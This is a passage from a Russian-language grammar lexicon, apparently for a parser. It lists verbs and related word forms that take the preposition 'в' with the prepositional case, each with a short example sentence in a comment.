rus_verbs:ОБСУДИТЬ{}, // В Самаре обсудили перспективы информатизации ветеринарии (ОБСУДИТЬ)
rus_verbs:ВЗДРОГНУТЬ{}, // она сильно вздрогнула во сне (ВЗДРОГНУТЬ)
rus_verbs:ПРЕДСТАВЛЯТЬ{}, // Сенаторы, представляющие в Комитете по разведке обе партии, поддержали эту просьбу (ПРЕДСТАВЛЯТЬ)
rus_verbs:ДОМИНИРОВАТЬ{}, // в химическом составе одной из планет доминирует метан (ДОМИНИРОВАТЬ)
rus_verbs:ОТКРЫТЬ{}, // Крым открыл в Москве собственный туристический офис (ОТКРЫТЬ)
rus_verbs:ПОКАЗАТЬ{}, // В Пушкинском музее показали золото инков (ПОКАЗАТЬ)
rus_verbs:наблюдать{}, // Наблюдаемый в отражении цвет излучения
rus_verbs:ПРОЛЕТЕТЬ{}, // Крупный астероид пролетел в непосредственной близости от Земли (ПРОЛЕТЕТЬ)
rus_verbs:РАССЛЕДОВАТЬ{}, // В Дагестане расследуют убийство федерального судьи (РАССЛЕДОВАТЬ)
rus_verbs:ВОЗОБНОВИТЬСЯ{}, // В Кемеровской области возобновилось движение по трассам международного значения (ВОЗОБНОВИТЬСЯ)
rus_verbs:ИЗМЕНИТЬСЯ{}, // изменилась она во всем (ИЗМЕНИТЬСЯ)
rus_verbs:СВЕРКАТЬ{}, // за широким окном комнаты город сверкал во тьме разноцветными огнями (СВЕРКАТЬ)
rus_verbs:СКОНЧАТЬСЯ{}, // В Риме скончался режиссёр знаменитого сериала «Спрут» (СКОНЧАТЬСЯ)
rus_verbs:ПРЯТАТЬСЯ{}, // Cкрытые спутники прячутся в кольцах Сатурна (ПРЯТАТЬСЯ)
rus_verbs:ВЫЗЫВАТЬ{}, // этот человек всегда вызывал во мне восхищение (ВЫЗЫВАТЬ)
rus_verbs:ВЫПУСТИТЬ{}, // Избирательные бюллетени могут выпустить в форме брошюры (ВЫПУСТИТЬ)
rus_verbs:НАЧИНАТЬСЯ{}, // В Москве начинается «марш в защиту детей» (НАЧИНАТЬСЯ)
rus_verbs:ЗАСТРЕЛИТЬ{}, // В Дагестане застрелили преподавателя медресе (ЗАСТРЕЛИТЬ)
rus_verbs:УРАВНЯТЬ{}, // Госзаказчиков уравняют в правах с поставщиками (УРАВНЯТЬ)
rus_verbs:промахнуться{}, // в первой половине невероятным образом промахнулся экс-форвард московского ЦСКА
rus_verbs:ОБЫГРАТЬ{}, // "Рубин" сенсационно обыграл в Мадриде вторую команду Испании (ОБЫГРАТЬ)
rus_verbs:ВКЛЮЧИТЬ{}, // В Челябинской области включен аварийный роуминг (ВКЛЮЧИТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В селах Балаковского района участились случаи поджогов стогов сена (УЧАСТИТЬСЯ)
rus_verbs:СПАСТИ{}, // В Австралии спасли повисшего на проводе коршуна (СПАСТИ)
rus_verbs:ВЫПАСТЬ{}, // Отдельные фрагменты достигли земли, выпав в виде метеоритного дождя (ВЫПАСТЬ)
rus_verbs:НАГРАДИТЬ{}, // В Лондоне наградили лауреатов премии Brit Awards (НАГРАДИТЬ)
rus_verbs:ОТКРЫТЬСЯ{}, // в Москве открылся первый международный кинофестиваль
rus_verbs:ПОДНИМАТЬСЯ{}, // во мне поднималось раздражение
rus_verbs:ЗАВЕРШИТЬСЯ{}, // В Италии завершился традиционный Венецианский карнавал (ЗАВЕРШИТЬСЯ)
инфинитив:проводить{ вид:несоверш }, // Кузбасские депутаты проводят в Кемерове прием граждан
глагол:проводить{ вид:несоверш },
деепричастие:проводя{},
rus_verbs:отсутствовать{}, // Хозяйка квартиры в этот момент отсутствовала
rus_verbs:доложить{}, // об итогах своего визита он намерен доложить в американском сенате и Белом доме (ДОЛОЖИТЬ ОБ, В предл)
rus_verbs:ИЗДЕВАТЬСЯ{}, // В Эйлате издеваются над туристами (ИЗДЕВАТЬСЯ В предл)
rus_verbs:НАРУШИТЬ{}, // В нескольких регионах нарушено наземное транспортное сообщение (НАРУШИТЬ В предл)
rus_verbs:БЕЖАТЬ{}, // далеко внизу во тьме бежала невидимая река (БЕЖАТЬ В предл)
rus_verbs:СОБРАТЬСЯ{}, // Дмитрий оглядел собравшихся во дворе мальчишек (СОБРАТЬСЯ В предл)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // далеко вверху во тьме послышался ответ (ПОСЛЫШАТЬСЯ В предл)
rus_verbs:ПОКАЗАТЬСЯ{}, // во дворе показалась высокая фигура (ПОКАЗАТЬСЯ В предл)
rus_verbs:УЛЫБНУТЬСЯ{}, // Дмитрий горько улыбнулся во тьме (УЛЫБНУТЬСЯ В предл)
rus_verbs:ТЯНУТЬСЯ{}, // убежища тянулись во всех направлениях (ТЯНУТЬСЯ В предл)
rus_verbs:РАНИТЬ{}, // В американском университете ранили человека (РАНИТЬ В предл)
rus_verbs:ЗАХВАТИТЬ{}, // Пираты освободили корабль, захваченный в Гвинейском заливе (ЗАХВАТИТЬ В предл)
rus_verbs:РАЗБЕГАТЬСЯ{}, // люди разбегались во всех направлениях (РАЗБЕГАТЬСЯ В предл)
rus_verbs:ПОГАСНУТЬ{}, // во всем доме погас свет (ПОГАСНУТЬ В предл)
rus_verbs:ПОШЕВЕЛИТЬСЯ{}, // Дмитрий пошевелился во сне (ПОШЕВЕЛИТЬСЯ В предл)
rus_verbs:ЗАСТОНАТЬ{}, // раненый застонал во сне (ЗАСТОНАТЬ В предл)
прилагательное:ВИНОВАТЫЙ{}, // во всем виновато вино (ВИНОВАТЫЙ В)
rus_verbs:ОСТАВЛЯТЬ{}, // США оставляют в районе Персидского залива только один авианосец (ОСТАВЛЯТЬ В предл)
rus_verbs:ОТКАЗЫВАТЬСЯ{}, // В России отказываются от планов авиагруппы в Арктике (ОТКАЗЫВАТЬСЯ В предл)
rus_verbs:ЛИКВИДИРОВАТЬ{}, // В Кабардино-Балкарии ликвидирован подпольный завод по переработке нефти (ЛИКВИДИРОВАТЬ В предл)
rus_verbs:РАЗОБЛАЧИТЬ{}, // В США разоблачили крупнейшую махинацию с кредитками (РАЗОБЛАЧИТЬ В предл)
rus_verbs:СХВАТИТЬ{}, // их схватили во сне (СХВАТИТЬ В предл)
rus_verbs:НАЧАТЬ{}, // В Белгороде начали сбор подписей за отставку мэра (НАЧАТЬ В предл)
rus_verbs:РАСТИ{}, // Cамая маленькая муха растёт в голове муравья (РАСТИ В предл)
rus_verbs:похитить{}, // Двое россиян, похищенных террористами в Сирии, освобождены (похитить в предл)
rus_verbs:УЧАСТВОВАТЬ{}, // были застрелены два испанских гражданских гвардейца , участвовавших в слежке (УЧАСТВОВАТЬ В)
rus_verbs:УСЫНОВИТЬ{}, // Американцы забирают усыновленных в России детей (УСЫНОВИТЬ В)
rus_verbs:ПРОИЗВЕСТИ{}, // вы не увидите мясо или молоко , произведенное в районе (ПРОИЗВЕСТИ В предл)
rus_verbs:ОРИЕНТИРОВАТЬСЯ{}, // призван помочь госслужащему правильно ориентироваться в сложных нравственных коллизиях (ОРИЕНТИРОВАТЬСЯ В)
rus_verbs:ПОВРЕДИТЬ{}, // В зале игровых автоматов повреждены стены и потолок (ПОВРЕДИТЬ В предл)
rus_verbs:ИЗЪЯТЬ{}, // В настоящее время в детском учреждении изъяты суточные пробы пищи (ИЗЪЯТЬ В предл)
rus_verbs:СОДЕРЖАТЬСЯ{}, // осужденных , содержащихся в помещениях штрафного изолятора (СОДЕРЖАТЬСЯ В)
rus_verbs:ОТЧИСЛИТЬ{}, // был отчислен за неуспеваемость в 2007 году (ОТЧИСЛИТЬ В предл)
rus_verbs:проходить{}, // находился на санкционированном митинге , проходившем в рамках празднования Дня народного единства (проходить в предл)
rus_verbs:ПОДУМЫВАТЬ{}, // сейчас в правительстве Приамурья подумывают о создании специального пункта помощи туристам (ПОДУМЫВАТЬ В)
rus_verbs:ОТРАПОРТОВЫВАТЬ{}, // главы субъектов не просто отрапортовывали в Москве (ОТРАПОРТОВЫВАТЬ В предл)
rus_verbs:ВЕСТИСЬ{}, // в городе ведутся работы по установке праздничной иллюминации (ВЕСТИСЬ В)
rus_verbs:ОДОБРИТЬ{}, // Одобренным в первом чтении законопроектом (ОДОБРИТЬ В)
rus_verbs:ЗАМЫЛИТЬСЯ{}, // ему легче исправлять , то , что замылилось в глазах предыдущего руководства (ЗАМЫЛИТЬСЯ В)
rus_verbs:АВТОРИЗОВАТЬСЯ{}, // потом имеют право авторизоваться в системе Международного бакалавриата (АВТОРИЗОВАТЬСЯ В)
rus_verbs:ОПУСТИТЬСЯ{}, // Россия опустилась в списке на шесть позиций (ОПУСТИТЬСЯ В предл)
rus_verbs:СГОРЕТЬ{}, // Совладелец сгоревшего в Бразилии ночного клуба сдался полиции (СГОРЕТЬ В)
частица:нет{}, // В этом нет сомнения.
частица:нету{}, // В этом нету сомнения.
rus_verbs:поджечь{}, // Поджегший себя в Москве мужчина оказался ветераном-афганцем
rus_verbs:ввести{}, // В Молдавии введен запрет на амнистию или помилование педофилов.
прилагательное:ДОСТУПНЫЙ{}, // Наиболее интересные таблички доступны в основной экспозиции музея (ДОСТУПНЫЙ В)
rus_verbs:ПОВИСНУТЬ{}, // вопрос повис в мглистом демократическом воздухе (ПОВИСНУТЬ В)
rus_verbs:ВЗОРВАТЬ{}, // В Ираке смертник взорвал в мечети группу туркменов (ВЗОРВАТЬ В)
rus_verbs:ОТНЯТЬ{}, // В Финляндии у россиянки, прибывшей по туристической визе, отняли детей (ОТНЯТЬ В)
rus_verbs:НАЙТИ{}, // Я недавно посетил врача и у меня в глазах нашли какую-то фигню (НАЙТИ В предл)
rus_verbs:ЗАСТРЕЛИТЬСЯ{}, // Девушка, застрелившаяся в центре Киева, была замешана в скандале с влиятельными людьми (ЗАСТРЕЛИТЬСЯ В)
rus_verbs:стартовать{}, // В Страсбурге сегодня стартует зимняя сессия Парламентской ассамблеи Совета Европы (стартовать в)
rus_verbs:ЗАКЛАДЫВАТЬСЯ{}, // Отношение к деньгам закладывается в детстве (ЗАКЛАДЫВАТЬСЯ В)
rus_verbs:НАПИВАТЬСЯ{}, // Депутатам помешают напиваться в здании Госдумы (НАПИВАТЬСЯ В)
rus_verbs:ВЫПРАВИТЬСЯ{}, // Прежде всего было заявлено, что мировая экономика каким-то образом сама выправится в процессе бизнес-цикла (ВЫПРАВИТЬСЯ В)
rus_verbs:ЯВЛЯТЬСЯ{}, // она являлась ко мне во всех моих снах (ЯВЛЯТЬСЯ В)
rus_verbs:СТАЖИРОВАТЬСЯ{}, // сейчас я стажируюсь в одной компании (СТАЖИРОВАТЬСЯ В)
rus_verbs:ОБСТРЕЛЯТЬ{}, // Уроженцы Чечни, обстрелявшие полицейских в центре Москвы, арестованы (ОБСТРЕЛЯТЬ В)
rus_verbs:РАСПРОСТРАНИТЬ{}, // Воски — распространённые в растительном и животном мире сложные эфиры высших жирных кислот и высших высокомолекулярных спиртов (РАСПРОСТРАНИТЬ В)
rus_verbs:ПРИВЕСТИ{}, // Сравнительная фугасность некоторых взрывчатых веществ приведена в следующей таблице (ПРИВЕСТИ В)
rus_verbs:ЗАПОДОЗРИТЬ{}, // Чиновников Минкультуры заподозрили в афере с заповедными землями (ЗАПОДОЗРИТЬ В)
rus_verbs:НАСТУПАТЬ{}, // В Гренландии стали наступать ледники (НАСТУПАТЬ В)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // В истории Земли выделяются следующие ледниковые эры (ВЫДЕЛЯТЬСЯ В)
rus_verbs:ПРЕДСТАВИТЬ{}, // Данные представлены в хронологическом порядке (ПРЕДСТАВИТЬ В)
rus_verbs:ОБРУШИТЬСЯ{}, // В Северной Осетии на воинскую часть обрушилась снежная лавина (ОБРУШИТЬСЯ В, НА)
rus_verbs:ПОДАВАТЬ{}, // Готовые компоты подают в столовых и кафе (ПОДАВАТЬ В)
rus_verbs:ГОТОВИТЬ{}, // Сегодня компот готовят в домашних условиях из сухофруктов или замороженных фруктов и ягод (ГОТОВИТЬ В)
rus_verbs:ВОЗДЕЛЫВАТЬСЯ{}, // в настоящее время он повсеместно возделывается в огородах (ВОЗДЕЛЫВАТЬСЯ В)
rus_verbs:РАСКЛАДЫВАТЬ{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:РАСКЛАДЫВАТЬСЯ{},
rus_verbs:СОБИРАТЬСЯ{}, // Обыкновенно огурцы собираются в полуспелом состоянии (СОБИРАТЬСЯ В)
rus_verbs:ПРОГРЕМЕТЬ{}, // В торговом центре Ижевска прогремел взрыв (ПРОГРЕМЕТЬ В)
rus_verbs:СНЯТЬ{}, // чтобы снять их во всей красоте. (СНЯТЬ В)
rus_verbs:ЯВИТЬСЯ{}, // она явилась к нему во сне. (ЯВИТЬСЯ В)
rus_verbs:ВЕРИТЬ{}, // мы же во всем верили капитану. (ВЕРИТЬ В предл)
rus_verbs:выдержать{}, // Игра выдержана в научно-фантастическом стиле. (ВЫДЕРЖАННЫЙ В)
rus_verbs:ПРЕОДОЛЕТЬ{}, // мы пытались преодолеть ее во многих местах. (ПРЕОДОЛЕТЬ В)
инфинитив:НАПИСАТЬ{ aux stress="напис^ать" }, // Программа, написанная в спешке, выполнила недопустимую операцию. (НАПИСАТЬ В)
глагол:НАПИСАТЬ{ aux stress="напис^ать" },
прилагательное:НАПИСАННЫЙ{},
rus_verbs:ЕСТЬ{}, // ты даже во сне ел. (ЕСТЬ/кушать В)
rus_verbs:УСЕСТЬСЯ{}, // Он удобно уселся в кресле. (УСЕСТЬСЯ В)
rus_verbs:ТОРГОВАТЬ{}, // Он торгует в палатке. (ТОРГОВАТЬ В)
rus_verbs:СОВМЕСТИТЬ{}, // Он совместил в себе писателя и художника. (СОВМЕСТИТЬ В)
rus_verbs:ЗАБЫВАТЬ{}, // об этом нельзя забывать даже во сне. (ЗАБЫВАТЬ В)
rus_verbs:поговорить{}, // Давайте поговорим об этом в присутствии адвоката
rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ)
rus_verbs:упасть{}, // В Таиланде на автобус с российскими туристами упал башенный кран (УПАСТЬ В, НА)
rus_verbs:раскрыть{}, // В России раскрыли крупнейшую в стране сеть фальшивомонетчиков (РАСКРЫТЬ В)
rus_verbs:соединить{}, // соединить в себе (СОЕДИНИТЬ В предл)
rus_verbs:избрать{}, // В Южной Корее избран новый президент (ИЗБРАТЬ В предл)
rus_verbs:проводиться{}, // Обыски проводятся в воронежском Доме прав человека (ПРОВОДИТЬСЯ В)
безлич_глагол:хватает{}, // В этой статье не хватает ссылок на источники информации. (БЕЗЛИЧ хватать в)
rus_verbs:наносить{}, // В ближнем бою наносит мощные удары своим костлявым кулаком. (НАНОСИТЬ В + предл.)
rus_verbs:расщепляться{}, // Сахароза же быстро расщепляется в пищеварительном тракте на глюкозу и фруктозу (РАСЩЕПЛЯТЬСЯ В, НА)
прилагательное:известный{}, // В Европе сахар был известен ещё римлянам. (ИЗВЕСТНЫЙ В)
rus_verbs:выработать{}, // Способы, выработанные во Франции, перешли затем в Германию и другие страны Европы. (ВЫРАБОТАТЬ В)
rus_verbs:КУЛЬТИВИРОВАТЬСЯ{}, // Культивируется в регионах с умеренным климатом с умеренным количеством осадков и требует плодородной почвы. (КУЛЬТИВИРОВАТЬСЯ В)
rus_verbs:чаять{}, // мама души не чаяла в своих детях (ЧАЯТЬ В)
rus_verbs:улыбаться{}, // Вадим улыбался во сне. (УЛЫБАТЬСЯ В)
rus_verbs:растеряться{}, // Приезжие растерялись в бетонном лабиринте улиц (РАСТЕРЯТЬСЯ В)
rus_verbs:выть{}, // выли волки где-то в лесу (ВЫТЬ В)
rus_verbs:ЗАВЕРИТЬ{}, // выступавший заверил нас в намерении выполнить обещание (ЗАВЕРИТЬ В)
rus_verbs:ИСЧЕЗНУТЬ{}, // звери исчезли во мраке. (ИСЧЕЗНУТЬ В)
rus_verbs:ВСТАТЬ{}, // встать во главе человечества. (ВСТАТЬ В)
rus_verbs:УПОТРЕБЛЯТЬ{}, // В Тибете употребляют кирпичный зелёный чай. (УПОТРЕБЛЯТЬ В)
rus_verbs:ПОДАВАТЬСЯ{}, // Напиток охлаждается и подаётся в холодном виде. (ПОДАВАТЬСЯ В)
rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // в игре используются текстуры большего разрешения (ИСПОЛЬЗОВАТЬСЯ В)
rus_verbs:объявить{}, // В газете объявили о конкурсе.
rus_verbs:ВСПЫХНУТЬ{}, // во мне вспыхнул гнев. (ВСПЫХНУТЬ В)
rus_verbs:КРЫТЬСЯ{}, // В его словах кроется угроза. (КРЫТЬСЯ В)
rus_verbs:подняться{}, // В классе вдруг поднялся шум. (подняться в)
rus_verbs:наступить{}, // В классе наступила полная тишина. (наступить в)
rus_verbs:кипеть{}, // В нём кипит злоба. (кипеть в)
rus_verbs:соединиться{}, // В нём соединились храбрость и великодушие. (соединиться в)
инфинитив:ПАРИТЬ{ aux stress="пар^ить"}, // Высоко в небе парит орёл, плавно описывая круги. (ПАРИТЬ В)
глагол:ПАРИТЬ{ aux stress="пар^ить"},
деепричастие:паря{ aux stress="пар^я" },
прилагательное:ПАРЯЩИЙ{},
прилагательное:ПАРИВШИЙ{},
rus_verbs:СИЯТЬ{}, // Главы собора сияли в лучах солнца. (СИЯТЬ В)
rus_verbs:РАСПОЛОЖИТЬ{}, // Гостиница расположена глубоко в горах. (РАСПОЛОЖИТЬ В)
rus_verbs:развиваться{}, // Действие в комедии развивается в двух планах. (развиваться в)
rus_verbs:ПОСАДИТЬ{}, // Дети посадили у нас во дворе цветы. (ПОСАДИТЬ В)
rus_verbs:ИСКОРЕНЯТЬ{}, // Дурные привычки следует искоренять в самом начале. (ИСКОРЕНЯТЬ В)
rus_verbs:ВОССТАНОВИТЬ{}, // Его восстановили в правах. (ВОССТАНОВИТЬ В)
rus_verbs:ПОЛАГАТЬСЯ{}, // мы полагаемся на него в этих вопросах (ПОЛАГАТЬСЯ В)
rus_verbs:УМИРАТЬ{}, // они умирали во сне. (УМИРАТЬ В)
rus_verbs:ПРИБАВИТЬ{}, // Она сильно прибавила в весе. (ПРИБАВИТЬ В)
rus_verbs:посмотреть{}, // Посмотрите в списке. (посмотреть в)
rus_verbs:производиться{}, // Выдача новых паспортов будет производиться в следующем порядке (производиться в)
rus_verbs:принять{}, // Документ принят в следующей редакции (принять в)
rus_verbs:сверкнуть{}, // меч его сверкнул во тьме. (сверкнуть в)
rus_verbs:ВЫРАБАТЫВАТЬ{}, // ты должен вырабатывать в себе силу воли (ВЫРАБАТЫВАТЬ В)
rus_verbs:достать{}, // Эти сведения мы достали в Волгограде. (достать в)
rus_verbs:звучать{}, // в доме звучала музыка (звучать в)
rus_verbs:колебаться{}, // колеблется в выборе (колебаться в)
rus_verbs:мешать{}, // мешать в кастрюле суп (мешать в)
rus_verbs:нарастать{}, // во мне нарастал гнев (нарастать в)
rus_verbs:отбыть{}, // Вадим отбыл в неизвестном направлении (отбыть в)
rus_verbs:светиться{}, // во всем доме светилось только окно ее спальни. (светиться в)
rus_verbs:вычитывать{}, // вычитывать в книге
rus_verbs:гудеть{}, // У него в ушах гудит.
rus_verbs:давать{}, // В этой лавке дают в долг?
rus_verbs:поблескивать{}, // Красивое стеклышко поблескивало в пыльной траве у дорожки.
rus_verbs:разойтись{}, // Они разошлись в темноте.
rus_verbs:прибежать{}, // Мальчик прибежал в слезах.
rus_verbs:биться{}, // Она билась в истерике.
rus_verbs:регистрироваться{}, // регистрироваться в системе
rus_verbs:считать{}, // я буду считать в уме
rus_verbs:трахаться{}, // трахаться в гамаке
rus_verbs:сконцентрироваться{}, // сконцентрироваться в одной точке
rus_verbs:разрушать{}, // разрушать в дробилке
rus_verbs:засидеться{}, // засидеться в гостях
rus_verbs:засиживаться{}, // засиживаться в гостях
rus_verbs:утопить{}, // утопить лодку в реке (утопить в реке)
rus_verbs:навестить{}, // навестить в доме престарелых
rus_verbs:запомнить{}, // запомнить в кэше
rus_verbs:убивать{}, // убивать в помещении полиции (-score убивать неодуш. дом.)
rus_verbs:базироваться{}, // установка базируется в черте города (ngram черта города - проверить что есть проверка)
rus_verbs:покупать{}, // Чаще всего россияне покупают в интернете бытовую технику.
rus_verbs:ходить{}, // ходить в пальто (сделать ХОДИТЬ + в + ОДЕЖДА предл.п.)
rus_verbs:заложить{}, // диверсанты заложили в помещении бомбу
rus_verbs:оглядываться{}, // оглядываться в зеркале
rus_verbs:нарисовать{}, // нарисовать в тетрадке
rus_verbs:пробить{}, // пробить отверствие в стене
rus_verbs:повертеть{}, // повертеть в руке
rus_verbs:вертеть{}, // Я вертел в руках
rus_verbs:рваться{}, // Веревка рвется в месте надреза
rus_verbs:распространяться{}, // распространяться в среде наркоманов
rus_verbs:попрощаться{}, // попрощаться в здании морга
rus_verbs:соображать{}, // соображать в уме
инфинитив:просыпаться{ вид:несоверш }, глагол:просыпаться{ вид:несоверш }, // просыпаться в чужой кровати
rus_verbs:заехать{}, // Коля заехал в гости (в гости - устойчивый наречный оборот)
rus_verbs:разобрать{}, // разобрать в гараже
rus_verbs:помереть{}, // помереть в пути
rus_verbs:различить{}, // различить в темноте
rus_verbs:рисовать{}, // рисовать в графическом редакторе
rus_verbs:проследить{}, // проследить в записях камер слежения
rus_verbs:совершаться{}, // Правосудие совершается в суде
rus_verbs:задремать{}, // задремать в кровати
rus_verbs:ругаться{}, // ругаться в комнате
rus_verbs:зазвучать{}, // зазвучать в радиоприемниках
rus_verbs:задохнуться{}, // задохнуться в воде
rus_verbs:порождать{}, // порождать в неокрепших умах
rus_verbs:отдыхать{}, // отдыхать в санатории
rus_verbs:упоминаться{}, // упоминаться в предыдущем сообщении
rus_verbs:образовать{}, // образовать в пробирке темную взвесь
rus_verbs:отмечать{}, // отмечать в списке
rus_verbs:подчеркнуть{}, // подчеркнуть в блокноте
rus_verbs:плясать{}, // плясать в откружении незнакомых людей
rus_verbs:повысить{}, // повысить в звании
rus_verbs:поджидать{}, // поджидать в подъезде
rus_verbs:отказать{}, // отказать в пересмотре дела
rus_verbs:раствориться{}, // раствориться в бензине
rus_verbs:отражать{}, // отражать в стихах
rus_verbs:дремать{}, // дремать в гамаке
rus_verbs:применяться{}, // применяться в домашних условиях
rus_verbs:присниться{}, // присниться во сне
rus_verbs:трястись{}, // трястись в драндулете
rus_verbs:сохранять{}, // сохранять в неприкосновенности
rus_verbs:расстрелять{}, // расстрелять в ложбине
rus_verbs:рассчитать{}, // рассчитать в программе
rus_verbs:перебирать{}, // перебирать в руке
rus_verbs:разбиться{}, // разбиться в аварии
rus_verbs:поискать{}, // поискать в углу
rus_verbs:мучиться{}, // мучиться в тесной клетке
rus_verbs:замелькать{}, // замелькать в телевизоре
rus_verbs:грустить{}, // грустить в одиночестве
rus_verbs:крутить{}, // крутить в банке
rus_verbs:объявиться{}, // объявиться в городе
rus_verbs:подготовить{}, // подготовить в тайне
rus_verbs:различать{}, // различать в смеси
rus_verbs:обнаруживать{}, // обнаруживать в крови
rus_verbs:киснуть{}, // киснуть в захолустье
rus_verbs:оборваться{}, // оборваться в начале фразы
rus_verbs:запутаться{}, // запутаться в веревках
rus_verbs:общаться{}, // общаться в интимной обстановке
rus_verbs:сочинить{}, // сочинить в ресторане
rus_verbs:изобрести{}, // изобрести в домашней лаборатории
rus_verbs:прокомментировать{}, // прокомментировать в своем блоге
rus_verbs:давить{}, // давить в зародыше
rus_verbs:повториться{}, // повториться в новом обличье
rus_verbs:отставать{}, // отставать в общем зачете
rus_verbs:разработать{}, // разработать в лаборатории
rus_verbs:качать{}, // качать в кроватке
rus_verbs:заменить{}, // заменить в двигателе
rus_verbs:задыхаться{}, // задыхаться в душной и влажной атмосфере
rus_verbs:забегать{}, // забегать в спешке
rus_verbs:наделать{}, // наделать в решении ошибок
rus_verbs:исказиться{}, // исказиться в кривом зеркале
rus_verbs:тушить{}, // тушить в помещении пожар
rus_verbs:охранять{}, // охранять в здании входы
rus_verbs:приметить{}, // приметить в кустах
rus_verbs:скрыть{}, // скрыть в складках одежды
rus_verbs:удерживать{}, // удерживать в заложниках
rus_verbs:увеличиваться{}, // увеличиваться в размере
rus_verbs:красоваться{}, // красоваться в новом платье
rus_verbs:сохраниться{}, // сохраниться в тепле
rus_verbs:лечить{}, // лечить в стационаре
rus_verbs:смешаться{}, // смешаться в баке
rus_verbs:прокатиться{}, // прокатиться в троллейбусе
rus_verbs:договариваться{}, // договариваться в закрытом кабинете
rus_verbs:опубликовать{}, // опубликовать в официальном блоге
rus_verbs:охотиться{}, // охотиться в прериях
rus_verbs:отражаться{}, // отражаться в окне
rus_verbs:понизить{}, // понизить в должности
rus_verbs:обедать{}, // обедать в ресторане
rus_verbs:посидеть{}, // посидеть в тени
rus_verbs:сообщаться{}, // сообщаться в оппозиционной газете
rus_verbs:свершиться{}, // свершиться в суде
rus_verbs:ночевать{}, // ночевать в гостинице
rus_verbs:темнеть{}, // темнеть в воде
rus_verbs:гибнуть{}, // гибнуть в застенках
rus_verbs:усиливаться{}, // усиливаться в направлении главного удара
rus_verbs:расплыться{}, // расплыться в улыбке
rus_verbs:превышать{}, // превышать в несколько раз
rus_verbs:проживать{}, // проживать в отдельной коморке
rus_verbs:голубеть{}, // голубеть в тепле
rus_verbs:исследовать{}, // исследовать в естественных условиях
rus_verbs:обитать{}, // обитать в лесу
rus_verbs:скучать{}, // скучать в одиночестве
rus_verbs:сталкиваться{}, // сталкиваться в воздухе
rus_verbs:таиться{}, // таиться в глубине
rus_verbs:спасать{}, // спасать в море
rus_verbs:заблудиться{}, // заблудиться в лесу
rus_verbs:создаться{}, // создаться в новом виде
rus_verbs:пошарить{}, // пошарить в кармане
rus_verbs:планировать{}, // планировать в программе
rus_verbs:отбить{}, // отбить в нижней части
rus_verbs:отрицать{}, // отрицать в суде свою вину
rus_verbs:основать{}, // основать в пустыне новый город
rus_verbs:двоить{}, // двоить в глазах
rus_verbs:устоять{}, // устоять в лодке
rus_verbs:унять{}, // унять в ногах дрожь
rus_verbs:отзываться{}, // отзываться в обзоре
rus_verbs:притормозить{}, // притормозить в траве
rus_verbs:читаться{}, // читаться в глазах
rus_verbs:житься{}, // житься в деревне
rus_verbs:заиграть{}, // заиграть в жилах
rus_verbs:шевелить{}, // шевелить в воде
rus_verbs:зазвенеть{}, // зазвенеть в ушах
rus_verbs:зависнуть{}, // зависнуть в библиотеке
rus_verbs:затаить{}, // затаить в душе обиду
rus_verbs:сознаться{}, // сознаться в совершении
rus_verbs:протекать{}, // протекать в легкой форме
rus_verbs:выясняться{}, // выясняться в ходе эксперимента
rus_verbs:скрестить{}, // скрестить в неволе
rus_verbs:наводить{}, // наводить в комнате порядок
rus_verbs:значиться{}, // значиться в документах
rus_verbs:заинтересовать{}, // заинтересовать в получении результатов
rus_verbs:познакомить{}, // познакомить в непринужденной обстановке
rus_verbs:рассеяться{}, // рассеяться в воздухе
rus_verbs:грохнуть{}, // грохнуть в подвале
rus_verbs:обвинять{}, // обвинять в вымогательстве
rus_verbs:столпиться{}, // столпиться в фойе
rus_verbs:порыться{}, // порыться в сумке
rus_verbs:ослабить{}, // ослабить в верхней части
rus_verbs:обнаруживаться{}, // обнаруживаться в кармане куртки
rus_verbs:спастись{}, // спастись в хижине
rus_verbs:прерваться{}, // прерваться в середине фразы
rus_verbs:применять{}, // применять в повседневной работе
rus_verbs:строиться{}, // строиться в зоне отчуждения
rus_verbs:путешествовать{}, // путешествовать в самолете
rus_verbs:побеждать{}, // побеждать в честной битве
rus_verbs:погубить{}, // погубить в себе артиста
rus_verbs:рассматриваться{}, // рассматриваться в следующей главе
rus_verbs:продаваться{}, // продаваться в специализированном магазине
rus_verbs:разместиться{}, // разместиться в аудитории
rus_verbs:повидать{}, // повидать в жизни
rus_verbs:настигнуть{}, // настигнуть в пригородах
rus_verbs:сгрудиться{}, // сгрудиться в центре загона
rus_verbs:укрыться{}, // укрыться в доме
rus_verbs:расплакаться{}, // расплакаться в суде
rus_verbs:пролежать{}, // пролежать в канаве
rus_verbs:замерзнуть{}, // замерзнуть в ледяной воде
rus_verbs:поскользнуться{}, // поскользнуться в коридоре
rus_verbs:таскать{}, // таскать в руках
rus_verbs:нападать{}, // нападать в вольере
rus_verbs:просматривать{}, // просматривать в браузере
rus_verbs:обдумать{}, // обдумать в дороге
rus_verbs:обвинить{}, // обвинить в измене
rus_verbs:останавливать{}, // останавливать в дверях
rus_verbs:теряться{}, // теряться в догадках
rus_verbs:погибать{}, // погибать в бою
rus_verbs:обозначать{}, // обозначать в списке
rus_verbs:запрещать{}, // запрещать в парке
rus_verbs:долететь{}, // долететь в вертолёте
rus_verbs:тесниться{}, // тесниться в каморке
rus_verbs:уменьшаться{}, // уменьшаться в размере
rus_verbs:издавать{}, // издавать в небольшом издательстве
rus_verbs:хоронить{}, // хоронить в море
rus_verbs:перемениться{}, // перемениться в лице
rus_verbs:установиться{}, // установиться в северных областях
rus_verbs:прикидывать{}, // прикидывать в уме
rus_verbs:затаиться{}, // затаиться в траве
rus_verbs:раздобыть{}, // раздобыть в аптеке
rus_verbs:перебросить{}, // перебросить в товарном составе
rus_verbs:погружаться{}, // погружаться в батискафе
rus_verbs:поживать{}, // поживать в одиночестве
rus_verbs:признаваться{}, // признаваться в любви
rus_verbs:захватывать{}, // захватывать в здании
rus_verbs:покачиваться{}, // покачиваться в лодке
rus_verbs:крутиться{}, // крутиться в колесе
rus_verbs:помещаться{}, // помещаться в ящике
rus_verbs:питаться{}, // питаться в столовой
rus_verbs:отдохнуть{}, // отдохнуть в пансионате
rus_verbs:кататься{}, // кататься в коляске
rus_verbs:поработать{}, // поработать в цеху
